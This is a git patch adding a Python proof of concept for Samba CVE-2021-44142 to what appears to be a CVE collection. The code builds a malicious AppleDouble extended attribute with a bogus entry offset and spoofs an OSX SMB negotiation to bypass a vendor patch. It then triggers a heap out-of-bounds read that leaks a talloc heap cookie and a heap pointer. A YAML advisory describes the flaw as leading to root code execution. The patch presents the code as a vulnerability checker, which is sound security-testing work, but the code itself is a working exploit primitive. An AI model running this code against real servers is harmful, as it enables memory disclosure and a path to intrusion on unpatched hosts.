From bbfbb944c8df0a7acb6d208e18784e71b519ed6f Mon Sep 17 00:00:00 2001 From: yangjipeng Date: Tue, 1 Nov 2022 14:34:59 +0800 Subject: [PATCH] ADD CVE-2021-44142 --- .../2021/CVE-2021-44142/.idea/.gitignore | 8 + .../.idea/Samba-CVE-2021-44142.iml | 14 ++ .../inspectionProfiles/Project_Default.xml | 21 ++ .../inspectionProfiles/profiles_settings.xml | 6 + cve/samba/2021/CVE-2021-44142/.idea/misc.xml | 4 + .../2021/CVE-2021-44142/.idea/modules.xml | 8 + cve/samba/2021/CVE-2021-44142/.idea/vcs.xml | 6 + cve/samba/2021/CVE-2021-44142/LICENSE | 21 ++ cve/samba/2021/CVE-2021-44142/README.md | 29 +++ cve/samba/2021/CVE-2021-44142/apple.py | 173 +++++++++++++ .../2021/CVE-2021-44142/check_vulnerable.py | 220 +++++++++++++++++ .../2021/CVE-2021-44142/requirements.txt | 1 + .../CVE-2021-44142/smbprotocol_extensions.py | 227 ++++++++++++++++++ cve/samba/2021/yaml/CVE-2021-44142.yaml | 23 ++ other_list.yaml | 2 + 15 files changed, 763 insertions(+) create mode 100644 cve/samba/2021/CVE-2021-44142/.idea/.gitignore create mode 100644 cve/samba/2021/CVE-2021-44142/.idea/Samba-CVE-2021-44142.iml create mode 100644 cve/samba/2021/CVE-2021-44142/.idea/inspectionProfiles/Project_Default.xml create mode 100644 cve/samba/2021/CVE-2021-44142/.idea/inspectionProfiles/profiles_settings.xml create mode 100644 cve/samba/2021/CVE-2021-44142/.idea/misc.xml create mode 100644 cve/samba/2021/CVE-2021-44142/.idea/modules.xml create mode 100644 cve/samba/2021/CVE-2021-44142/.idea/vcs.xml create mode 100644 cve/samba/2021/CVE-2021-44142/LICENSE create mode 100644 cve/samba/2021/CVE-2021-44142/README.md create mode 100644 cve/samba/2021/CVE-2021-44142/apple.py create mode 100644 cve/samba/2021/CVE-2021-44142/check_vulnerable.py create mode 100644 cve/samba/2021/CVE-2021-44142/requirements.txt create mode 100644 cve/samba/2021/CVE-2021-44142/smbprotocol_extensions.py create mode 100644 cve/samba/2021/yaml/CVE-2021-44142.yaml diff --git a/cve/samba/2021/CVE-2021-44142/.idea/.gitignore b/cve/samba/2021/CVE-2021-44142/.idea/.gitignore new file mode 100644 index 00000000..13566b81 --- /dev/null +++ b/cve/samba/2021/CVE-2021-44142/.idea/.gitignore @@ -0,0 +1,8 @@ +# Default ignored files +/shelf/ +/workspace.xml +# Editor-based HTTP Client requests +/httpRequests/ +# Datasource local storage ignored files +/dataSources/ +/dataSources.local.xml diff --git a/cve/samba/2021/CVE-2021-44142/.idea/Samba-CVE-2021-44142.iml b/cve/samba/2021/CVE-2021-44142/.idea/Samba-CVE-2021-44142.iml new file mode 100644 index 00000000..8e5446ac --- /dev/null +++ b/cve/samba/2021/CVE-2021-44142/.idea/Samba-CVE-2021-44142.iml @@ -0,0 +1,14 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/cve/samba/2021/CVE-2021-44142/.idea/inspectionProfiles/Project_Default.xml b/cve/samba/2021/CVE-2021-44142/.idea/inspectionProfiles/Project_Default.xml new file mode 100644 index 00000000..5b9f9341 --- /dev/null +++ b/cve/samba/2021/CVE-2021-44142/.idea/inspectionProfiles/Project_Default.xml @@ -0,0 +1,21 @@ + + + + \ No newline at end of file diff --git a/cve/samba/2021/CVE-2021-44142/.idea/inspectionProfiles/profiles_settings.xml b/cve/samba/2021/CVE-2021-44142/.idea/inspectionProfiles/profiles_settings.xml new file mode 100644 index 00000000..105ce2da --- /dev/null +++ b/cve/samba/2021/CVE-2021-44142/.idea/inspectionProfiles/profiles_settings.xml @@ -0,0 +1,6 @@ + + + + \ No newline at end of file diff --git a/cve/samba/2021/CVE-2021-44142/.idea/misc.xml b/cve/samba/2021/CVE-2021-44142/.idea/misc.xml new file mode 100644 index 00000000..0fa7b0e7 --- /dev/null +++ b/cve/samba/2021/CVE-2021-44142/.idea/misc.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/cve/samba/2021/CVE-2021-44142/.idea/modules.xml b/cve/samba/2021/CVE-2021-44142/.idea/modules.xml new file mode 100644 index 00000000..ad4541d5 --- /dev/null +++ b/cve/samba/2021/CVE-2021-44142/.idea/modules.xml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/cve/samba/2021/CVE-2021-44142/.idea/vcs.xml b/cve/samba/2021/CVE-2021-44142/.idea/vcs.xml new file mode 100644 index 00000000..94a25f7f --- /dev/null +++ b/cve/samba/2021/CVE-2021-44142/.idea/vcs.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/cve/samba/2021/CVE-2021-44142/LICENSE b/cve/samba/2021/CVE-2021-44142/LICENSE new file mode 100644 index 00000000..c39efbdb --- /dev/null +++ b/cve/samba/2021/CVE-2021-44142/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 hrsman + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/cve/samba/2021/CVE-2021-44142/README.md b/cve/samba/2021/CVE-2021-44142/README.md new file mode 100644 index 00000000..311a51b9 --- /dev/null +++ b/cve/samba/2021/CVE-2021-44142/README.md @@ -0,0 +1,29 @@ +# CVE-2021-44142 Vulnerability Checker +A tool to check if a Samba server is vulnerable to CVE-2021-44142 + +## Background +CVE-2021-44142 is a heap out-of-bounds read and write in Samba's vfs_fruit module used at Pwn2Own Austin 2021 against the Western Digital PR4100. It was first discovered by [Nguyễn Hoàng Thạch](https://twitter.com/hi_im_d4rkn3ss) and [Billy Jheng Bing-Jhong](https://twitter.com/st424204) of STAR Labs. [Orange Tsai](https://twitter.com/orange_8361) of DEVCORE also reported this vulnerability. This work is based off a blog post by [0xsha](https://twitter.com/0xsha) at https://0xsha.io/blog/a-samba-horror-story-cve-2021-44142. + +This tool demonstrates vulnerability to CVE-2021-44142 by dumping a talloc heap cookie and linked list pointer. Similar techniques can be used to write this data. + +This work expands on the work of 0xsha by: +* Doing all the work required for the exploit in a single SMB connection. This is required as Samba can handle each connection in a different process. Using a single connection also makes debugging easier. +* Making the SMB connection look like it is coming from OSX. Western Digital has a custom patch to Samba that disables the vulnerable VFS modules unless the connection looks like it came from OSX. + +## Usage +``` +python check_vulnerable.py +usage: check_vulnerable.py [-h] [--password PASSWORD] server port share user +check_vulnerable.py: error: the following arguments are required: server, port, share, user + +``` +## Example +``` +python check_vulnerable.py 192.168.1.183 445 TimeMachineBackup Guest +{ + "vulnerable": true, + "heap_cookie_leak": "0xfc571370", + "heap_pointer_leak": "0x55e4e717b1b0", + "fail_reason": "" +} +``` \ No newline at end of file diff --git a/cve/samba/2021/CVE-2021-44142/apple.py b/cve/samba/2021/CVE-2021-44142/apple.py new file mode 100644 index 00000000..b647fb0e --- /dev/null +++ b/cve/samba/2021/CVE-2021-44142/apple.py @@ -0,0 +1,173 @@ +""" +This file contains structure definitions for AppleDouble structures. +For more information see +https://web.archive.org/web/20180311140826/http://kaiser-edv.de/documents/AppleSingle_AppleDouble.pdf +""" +from ctypes import * + +AFP_OFF_FinderInfo = 16 +AFP_INFO_SIZE = 0x3c + + +class AfpInfo(Structure): + """ + Structure definition for AfpInfo + """ + AFP_FinderSize = 32 + # typedef struct _AfpInfo + # { + # uint32_t afpi_Signature; /* Must be *(PDWORD)"AFP" */ + # uint32_t afpi_Version; /* Must be 0x00010000 */ + # uint32_t afpi_Reserved1; + # uint32_t afpi_BackupTime; /* Backup time for the file/dir */ + # unsigned char afpi_FinderInfo[AFP_FinderSize]; /* Finder Info (32 bytes) */ + # unsigned char afpi_ProDosInfo[6]; /* ProDos Info (6 bytes) # */ + # unsigned char afpi_Reserved2[6]; + # } AfpInfo; + _fields_ = [ + ("afpi_Signature", c_uint8 * 4), + ("afpi_Version", c_uint32), + ("afpi_Reserved1", c_uint32), + ("afpi_BackupTime", c_uint32), + ("afpi_FinderInfo", c_uint8 * AFP_FinderSize), + ("afpi_ProDosInfo", c_uint8 * 6), + ("afpi_Reserved2", c_uint8 * 6) + ] + + def __init__(self, finder_bytes: bytes = "A" * AFP_FinderSize): + assert len(finder_bytes) == self.AFP_FinderSize + self.afpi_Signature[0] = ord("A") + self.afpi_Signature[1] = ord("F") + self.afpi_Signature[2] = ord("P") + self.afpi_Signature[3] = 0x0 + self.afpi_Version = 0x00010000 + for i in range(self.AFP_FinderSize): + self.afpi_FinderInfo[i] = finder_bytes[i] + super().__init__() + + +class AppleDoubleEntryDescriptor(BigEndianStructure): + """ + Structure definition for an AppleDoubleEntryDescriptor + """ + _pack_ = 1 + _fields_ = [ + # entry_id an unsigned 32-bit number, defined what that entry is, Entry IDs + # range from 1 to 0xFFFFFFFF, Entry ID 0 is invalid + ("entry_id", c_uint32), + + # offset, an unsigned 32-bit number, shows the offset from the beginning of + # the file to the beginning of the entry's data + ("offset", c_uint32), + + # length, an unsigned 32-bit number, shows the length of the data in bytes. + # The length can be 0 + ("length", c_uint32) + ] + + +class AppleDoubleHeader(BigEndianStructure): + """ + Structure definition for an AppleDoubleHeader + """ + _pack_ = 1 + _fields_ = [ + ("magic", c_uint32), + ("version", c_uint32), + ("filler", c_uint8 * 16), + ("number_of_entries", c_uint16) + # Entry descriptors + ] + + def __init__(self): + self.magic = 0x00051607 + self.version = 0x00020000 + super().__init__() + + +def make_malicious_apple_double() -> bytes: + """ + Creates a malicious AppleDouble with bogus entry offsets to trigger an OOB read + :return: + """ + # AppleDouble entry IDs. + ADEID_DFORK = 1 + ADEID_RFORK = 2 + ADEID_NAME = 3 + ADEID_COMMENT = 4 + ADEID_ICONBW = 5 + ADEID_ICONCOL = 6 + ADEID_FILEI = 7 + ADEID_FILEDATESI = 8 + ADEID_FINDERI = 9 + ADEID_MACFILEI = 10 + ADEID_PRODOSFILEI = 11 + ADEID_MSDOSFILEI = 12 + ADEID_SHORTNAME = 13 + ADEID_AFPFILEI = 14 + ADEID_DID = 15 + + # Private Netatalk entries + # ADEID_PRIVDEV = 16 + # ADEID_PRIVINO = 17 + # ADEID_PRIVSYN = 18 + # ADEID_PRIVID = 19 + # ADEID_MAX = (ADEID_PRIVID + 1) + + # These are the real ids for the private entries as stored in the adouble file + AD_DEV = 0x80444556 + AD_INO = 0x80494E4F + AD_SYN = 0x8053594E + AD_ID = 0x8053567E + + # Field widths + ADEDLEN_NAME = 255 + ADEDLEN_COMMENT = 200 + ADEDLEN_FILEI = 16 + ADEDLEN_FINDERI = 32 + ADEDLEN_FILEDATESI = 16 + ADEDLEN_SHORTNAME = 12 # length up to 8.3 + ADEDLEN_AFPFILEI = 4 + ADEDLEN_MACFILEI = 4 + ADEDLEN_PRODOSFILEI = 8 + ADEDLEN_MSDOSFILEI = 2 + ADEDLEN_DID = 4 + ADEDLEN_PRIVDEV = 8 + ADEDLEN_PRIVINO = 8 + ADEDLEN_PRIVSYN = 8 + ADEDLEN_PRIVID = 4 + + header = AppleDoubleHeader() + header.number_of_entries = 8 + b = bytes(header) + + # We must have 8 entries. If the size of the xattr does not 402, samba will delete it on read + # (ID, LEN, OFFSET) + entry_list = [ + # vulnerable offset, point to end of buffer 401 + (ADEID_FINDERI, 1, 401), + (ADEID_COMMENT, ADEDLEN_COMMENT, 1), + (ADEID_FILEDATESI, ADEDLEN_FILEDATESI, 1), + (ADEID_AFPFILEI, ADEDLEN_AFPFILEI, 1), + (AD_DEV, ADEDLEN_PRIVDEV, 1), + (AD_INO, ADEDLEN_PRIVINO, 1), + (AD_SYN, ADEDLEN_PRIVSYN, 1), + (AD_ID, ADEDLEN_PRIVID, 1) + ] + assert len(entry_list) == 8 + data = b"" + for eid, length, offset in entry_list: + desc = AppleDoubleEntryDescriptor() + desc.entry_id = eid + desc.offset = offset + desc.length = length + b += bytes(desc) + if eid == ADEID_FINDERI: + # We fake this to get pass a check in ad_unpack + data += b"A" * ADEDLEN_FINDERI + else: + data += b"A" * length + + b += data + assert len(b) == 402, f"len(b) == {len(b)}" + return b diff --git a/cve/samba/2021/CVE-2021-44142/check_vulnerable.py b/cve/samba/2021/CVE-2021-44142/check_vulnerable.py new file mode 100644 index 00000000..cf3aa86d --- /dev/null +++ b/cve/samba/2021/CVE-2021-44142/check_vulnerable.py @@ -0,0 +1,220 @@ +import argparse +import json +import logging +import struct +import sys +import uuid + +import smbprotocol +from smbprotocol.create_contexts import SMB2CreateContextRequest, CreateContextName, SMB2CreateQueryMaximalAccessRequest +from smbprotocol.exceptions import ObjectNameNotFound +from smbprotocol.file_info import FileAttributes +from smbprotocol.open import ImpersonationLevel, FilePipePrinterAccessMask, ShareAccess, CreateDisposition, \ + CreateOptions +from smbprotocol.open import Open +from smbprotocol.session import Session +from smbprotocol.tree import TreeConnect + +from apple import make_malicious_apple_double +from smbprotocol_extensions import set_extended_attributes, delete_file, OSXConnection + + +class VulnerabilityInfo: + """ + Information about a server's vulnerability to CVE-2021-44142 + """ + def __init__(self): + self.vulnerable: bool = False + self.heap_cookie_leak: str = "" + self.heap_pointer_leak: str = "" + self.fail_reason: str = "" + + def to_json(self): + return json.dumps(self, default=lambda x: x.__dict__, indent=4) + + +class AuthenticationError(Exception): + """ + Raised when pysmb fails to authenticate with the server. + """ + pass + + +def looks_like_heap_pointer(pointer: int) -> bool: + """ + Returns true if pointer could plausibly be a heap chunk + :param pointer: Address to interrogate + :return: True if the pointer could be a heap chunk, False otherwise + """ + # Make sure it is in userspace + if pointer > 0x00007fffffffffff: + return False + + # Make sure it's not in the NULL page + if pointer < 0x1000: + return False + + # Make the address is 16 byte aligned + if pointer % 16 != 0: + return False + + # todo more checks + return True + + +def is_vulnerable(tree: TreeConnect) -> (bool, int, int): + """ + Checks if an SMB share is vulnerable to CVE-2021-44142 + :param tree: A tree connection for the share in question + :return: True if the share is vulnerable, false otherwise + """ + # NOTE: If filename has length 255, you can't delete it + filename = "A" * 250 + + # get maximal access on the files we create + max_req = SMB2CreateContextRequest() + max_req["buffer_name"] = CreateContextName.SMB2_CREATE_QUERY_MAXIMAL_ACCESS_REQUEST + max_req["buffer_data"] = SMB2CreateQueryMaximalAccessRequest() + create_contexts = [max_req] + + # Create our test file + test_file = Open(tree, filename) + test_file.create( + ImpersonationLevel.Impersonation, + FilePipePrinterAccessMask.GENERIC_READ | + FilePipePrinterAccessMask.GENERIC_WRITE | + FilePipePrinterAccessMask.FILE_READ_ATTRIBUTES | + FilePipePrinterAccessMask.FILE_WRITE_ATTRIBUTES | + FilePipePrinterAccessMask.DELETE, + FileAttributes.FILE_ATTRIBUTE_NORMAL, + ShareAccess.FILE_SHARE_READ | ShareAccess.FILE_SHARE_WRITE | ShareAccess.FILE_SHARE_DELETE, + CreateDisposition.FILE_OVERWRITE_IF, + CreateOptions.FILE_NON_DIRECTORY_FILE, + create_contexts + ) + + # Create a malicious AppleDouble and set the extended attribute + ad = make_malicious_apple_double() + set_extended_attributes(test_file, b"org.netatalk.Metadata", ad) + + # Open the extended attribute + afp_file = Open(tree, f"{filename}:AFP_AfpInfo") + try: + afp_file.create( + ImpersonationLevel.Impersonation, + FilePipePrinterAccessMask.GENERIC_READ | + FilePipePrinterAccessMask.GENERIC_WRITE | + FilePipePrinterAccessMask.FILE_READ_ATTRIBUTES | + FilePipePrinterAccessMask.FILE_WRITE_ATTRIBUTES, + FileAttributes.FILE_ATTRIBUTE_NORMAL, + ShareAccess.FILE_SHARE_READ | ShareAccess.FILE_SHARE_WRITE, + CreateDisposition.FILE_OVERWRITE_IF, + CreateOptions.FILE_NON_DIRECTORY_FILE, + create_contexts + ) + except ObjectNameNotFound: + logging.exception(f"failed to create Open {filename}:AFP_AfpInfo") + return False, 0, 0 + + # OOB read + resp = afp_file.read(0, 0x3c) + + # delete and close files + delete_file(test_file) + test_file.close() + afp_file.close() + + # Parse read response + leak = resp[0x10 + 1:] + heap_cookie = struct.unpack(" argparse.Namespace: + parser = argparse.ArgumentParser(description="Test if a Samba server if vulnerable to CVE-2021-44142") + parser.add_argument("server", type=str, help="Samba server") + parser.add_argument("port", type=int, help="Samba port") + parser.add_argument("share", type=str, help="Samba share name") + parser.add_argument("user", type=str, help="user name") + parser.add_argument("--password", type=str, help="password", default="guest") + return parser.parse_args() + + +def main(): + args = parse_args() + + #setup_logging() + + # Defaults to not vulnerable + vulnerability_info: VulnerabilityInfo = VulnerabilityInfo() + + # Attempt to connect to server + logging.info(f"Attempting to connect to {args.server}:{args.port}") + connection = OSXConnection(uuid.uuid4(), args.server, port=args.port, + require_signing=False if args.user == "Guest" else True) + + try: + connection.connect() + logging.info("Connection successful") + + # Attempt to authenticate with the server + logging.info(f"Attempting to authenticate as {args.user}") + session = Session(connection, username=args.user, password=args.password, require_encryption=False) + try: + session.connect() + # Connect to the share + logging.info(f"Attempting to connect to share {args.share}") + tree = TreeConnect(session, f"\\\\{args.server}\\{args.share}") + try: + tree.connect(require_secure_negotiate=False) + logging.info(f"Checking for vulnerability") + vulnerable, heap_cookie, heap_pointer = is_vulnerable(tree) + if vulnerable: + logging.info(f"{args.share} is vulnerable") + vulnerability_info.vulnerable = True + vulnerability_info.heap_cookie_leak = hex(heap_cookie) + vulnerability_info.heap_pointer_leak = hex(heap_pointer) + else: + vulnerability_info.fail_reason = f"TARGET_NOT_VULNERABLE" + logging.info(vulnerability_info.fail_reason) + except smbprotocol.exceptions.AccessDenied: + vulnerability_info.fail_reason = "SHARE_ACCESS_DENIED" + finally: + tree.disconnect() + except smbprotocol.exceptions.LogonFailure: + vulnerability_info.fail_reason = f"AUTHENTICATION_FAILURE" + except smbprotocol.exceptions.SMBException: + vulnerability_info.fail_reason = f"INCORRECT_PASSWORD" + except OSError: + vulnerability_info.fail_reason = "NO_SERVER_CONNECTION" + + print(vulnerability_info.to_json()) + + +if __name__ == "__main__": + main() diff --git a/cve/samba/2021/CVE-2021-44142/requirements.txt b/cve/samba/2021/CVE-2021-44142/requirements.txt new file mode 100644 index 00000000..904943d0 --- /dev/null +++ b/cve/samba/2021/CVE-2021-44142/requirements.txt @@ -0,0 +1 @@ +smbprotocol==1.9.0 diff --git a/cve/samba/2021/CVE-2021-44142/smbprotocol_extensions.py b/cve/samba/2021/CVE-2021-44142/smbprotocol_extensions.py new file mode 100644 index 00000000..03c2a8d0 --- /dev/null +++ b/cve/samba/2021/CVE-2021-44142/smbprotocol_extensions.py @@ -0,0 +1,227 @@ +""" +This file provides extensions the smbprotocol package +""" +import logging +import threading +from collections import OrderedDict +from typing import Dict + +from smbprotocol import MAX_PAYLOAD_SIZE +from smbprotocol.connection import Connection, Request +from smbprotocol.file_info import FileFullEaInformation, QueryInfoFlags, FileBasicInformation, FileAttributes, \ + FileDispositionInformation +from smbprotocol.header import SMB2HeaderResponse +from smbprotocol.open import SMB2QueryInfoRequest, Open, SMB2SetInfoRequest, SMB2SetInfoResponse, SMB2QueryInfoResponse +from smbprotocol.session import Session +from smbprotocol.structure import Structure, BytesField, IntField, FlagField +from smbprotocol.tree import TreeConnect + + +class SMBFlags(object): + """ + Flags for the SMB header + """ + SMB_FLAGS_LOCK_AND_READ_OK = 0x01 + SMB_FLAGS_BUF_AVAIL = 0x02 + RESERVED = 0x04 + SMB_FLAGS_CASE_INSENSITIVE = 0x08 + SMB_FLAGS_CANONICALIZED_PATHS = 0x10 + SMB_FLAGS_OPLOCK = 0x20 + SMB_FLAGS_OPBATCH = 0x40 + SMB_FLAGS_REPLY = 0x80 + + +class SMBFlags2(object): + """ + Flags2 for the SMB header + """ + SMB_FLAGS2_LONG_NAMES = 0x0001 + SMB_FLAGS2_EAS = 0x0002 + SMB_FLAGS2_SMB_SECURITY_SIGNATURE = 0x0004 + SMB_FLAGS2_IS_LONG_NAME = 0x0040 + SMB_FLAGS2_EXTENDED_SECURITY = 0x0800 + SMB_FLAGS2_DFS = 0x1000 + SMB_FLAGS2_PAGING_IO = 0x2000 + SMB_FLAGS2_NT_STATUS = 0x4000 + SMB_FLAGS2_UNICODE = 0x8000 + + +class SMBHeader(Structure): + """ + Structure definition for SMBHeader + """ + def __init__(self): + self.fields = OrderedDict([ + ('protocol', BytesField( + size=4, + default=b"\xffSMB" + )), + ('command', IntField( + size=1 + )), + ('status', IntField(size=4)), + ('flags', FlagField( + size=1, + flag_type=SMBFlags, + )), + ('flags2', FlagField( + size=2, + flag_type=SMBFlags2 + )), + ('pid_high', IntField(size=2, default=0)), + ('signature', IntField(size=8, default=0)), + ('reserved', IntField(size=2, default=0)), + ('tree_id', IntField(size=2)), + ('pid_low', IntField(size=2)), + ('uid', IntField(size=2)), + ('mid', IntField(size=2)) + ]) + super(SMBHeader, self).__init__() + + +class SMBNegotiateRequest(Structure): + """ + Structure definition for SMBNegotiateRequest + """ + def __init__(self): + self.fields = OrderedDict([ + ('word_count', IntField(size=1)), + ('byte_count', IntField(size=2)), + # ('dialects', BytesField(list_type=TextField())) + ]) + super(SMBNegotiateRequest, self).__init__() + + +class OSXConnection(Connection): + """ + WD My Could OS firmware has a custom patch that disables the vulnerable vfs modules unless + the connection appears to be from OSX. This means that the first message from the connection is + an SMB negotitate request with the following dialects set. + * NT LM 0.12 + * SMB 2.002 + * SMB 2.??? + """ + def __init__(self, *args, **kwargs): + super(OSXConnection, self).__init__(*args, **kwargs) + self.disconnect_called = False + self.send_called = False + + def disconnect(self, close=True): + """ + This is a hack, the message_thread raises an exception because it expects + an SMB2 message, but it receives an SMB message. So here we restart the + message thread if it's the first time disconnect is called. + """ + if self.disconnect_called: + super(OSXConnection, self).disconnect(close=close) + else: + # Receive the response + t_worker = threading.Thread(target=self._process_message_thread, + name="msg_worker-%s:%s" % (self.server_name, self.port)) + t_worker.daemon = True + t_worker.start() + self._t_exc = None + self.disconnect_called = True + + def _send_smb2_negotiate(self, dialect, timeout, encryption_algorithms, signing_algorithms): + """ + Override _send_smb2_negotiate to send an SMB Negotiate request to make Samba think the + request is coming from OSX + """ + header = SMBHeader() + header['command'] = 0x72 + header['status'] = 0 + header['flags'] = SMBFlags.SMB_FLAGS_CASE_INSENSITIVE + header['flags2'] = SMBFlags2.SMB_FLAGS2_UNICODE | \ + SMBFlags2.SMB_FLAGS2_NT_STATUS | \ + SMBFlags2.SMB_FLAGS2_EXTENDED_SECURITY | \ + SMBFlags2.SMB_FLAGS2_LONG_NAMES + header['tree_id'] = 65535 + header['pid_low'] = 1 + header['uid'] = 65535 + header['mid'] = 0 + + b_header = header.pack() + + neg_req = SMBNegotiateRequest() + neg_req['word_count'] = 0 + neg_req['byte_count'] = 34 + b_neg_req = neg_req.pack() + + # Add the dialects + b_neg_req += b"\x02" + 'NT LM 0.12'.encode('utf-8') + b"\x00" + b_neg_req += b"\x02" + 'SMB 2.002'.encode('utf-8') + b"\x00" + b_neg_req += b"\x02" + 'SMB 2.???'.encode('utf-8') + b"\x00" + + self.transport.send(b_header + b_neg_req) + self.sequence_window['low'] = 1 + self.sequence_window['high'] = 2 + while not self.disconnect_called and self.transport.connected: + logging.info("[HACK] waiting for disconnect to occur") + if not self.transport.connected: + raise OSError("No connection to server") + return super()._send_smb2_negotiate(dialect, timeout, encryption_algorithms, signing_algorithms) + + +def set_extended_attributes(file_open: Open, attribute: bytes, value: bytes) -> SMB2SetInfoResponse: + """ + Set extended attributes for an Open + :param file_open: file to set extended attribute + :param attribute: name of attribute + :param value: attribute value + :return: response + """ + ea_info = FileFullEaInformation() + ea_info['ea_name'] = attribute + ea_info['ea_value'] = value + info_buffer = ea_info + set_req = SMB2SetInfoRequest() + set_req['info_type'] = info_buffer.INFO_TYPE + set_req['file_info_class'] = info_buffer.INFO_CLASS + set_req['file_id'] = file_open.file_id + set_req['buffer'] = info_buffer + tree: TreeConnect = file_open.tree_connect + session: Session = tree.session + connection: Connection = session.connection + request: Request = connection.send(set_req, session.session_id, tree.tree_connect_id) + response: SMB2HeaderResponse = connection.receive(request) + set_resp = SMB2SetInfoResponse() + set_resp.unpack(response['data'].get_value()) + return set_resp + + +def delete_file(file_open: Open): + """ + Delete a file + :param file_open: File to delete + """ + basic_info = FileBasicInformation() + basic_info['creation_time'] = 0 + basic_info['last_access_time'] = 0 + basic_info['last_write_time'] = 0 + basic_info['change_time'] = 0 + basic_info['file_attributes'] = FileAttributes.FILE_ATTRIBUTE_NORMAL + set_req = SMB2SetInfoRequest() + set_req['info_type'] = basic_info.INFO_TYPE + set_req['file_info_class'] = basic_info.INFO_CLASS + set_req['file_id'] = file_open.file_id + set_req['buffer'] = basic_info + tree: TreeConnect = file_open.tree_connect + session: Session = tree.session + connection: Connection = session.connection + request: Request = connection.send(set_req, session.session_id, tree.tree_connect_id) + response: SMB2HeaderResponse = connection.receive(request) + set_resp = SMB2SetInfoResponse() + set_resp.unpack(response['data'].get_value()) + + info_buffer = FileDispositionInformation() + info_buffer['delete_pending'] = True + set_req = SMB2SetInfoRequest() + set_req['info_type'] = info_buffer.INFO_TYPE + set_req['file_info_class'] = info_buffer.INFO_CLASS + set_req['file_id'] = file_open.file_id + set_req['buffer'] = info_buffer + request: Request = connection.send(set_req, session.session_id, tree.tree_connect_id) + response: SMB2HeaderResponse = connection.receive(request) + set_resp = SMB2SetInfoResponse() + set_resp.unpack(response['data'].get_value()) diff --git a/cve/samba/2021/yaml/CVE-2021-44142.yaml b/cve/samba/2021/yaml/CVE-2021-44142.yaml new file mode 100644 index 00000000..bcce0569 --- /dev/null +++ b/cve/samba/2021/yaml/CVE-2021-44142.yaml @@ -0,0 +1,23 @@ +id: CVE-2021-44142 +source: + https://github.com/horizon3ai/CVE-2021-44142 +info: + name: Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。 + severity: high + description: | + Samba官方发布安全公告,4.13.17之前的所有Samba 版本中存在一个代码执行漏洞(CVE-2021-44142),该漏洞存在于Samba中vfs_fruit模块的默认配置中,在smbd解析EA元数据时,对文件扩展属性具有写访问权限的远程攻击者(可以是guest或未认证用户)可越界写入并以root身份执行任意代码。 + scope-of-influence: + 4.13.x < Samba < 4.13.17 + 4.14.x < Samba < 4.14.12 + 4.15.x < Samba < 4.15.5 + reference: + - https://www.samba.org/samba/security/CVE-2021-44142.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-44142 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2021-44142 + cwe-id: CWE-125,CWE-787 + cnvd-id: None + kve-id: None + tags: cve2021,samba,RCE \ No newline at end of file diff --git a/other_list.yaml b/other_list.yaml index 9817e2ba..30e125ef 100644 --- a/other_list.yaml +++ b/other_list.yaml @@ -7,4 +7,6 @@ cve: - CVE-2021-3560 redis: - CVE-2022-0543 + samba: + - CVE-2021-44142 cnvd: \ No newline at end of file -- Gitee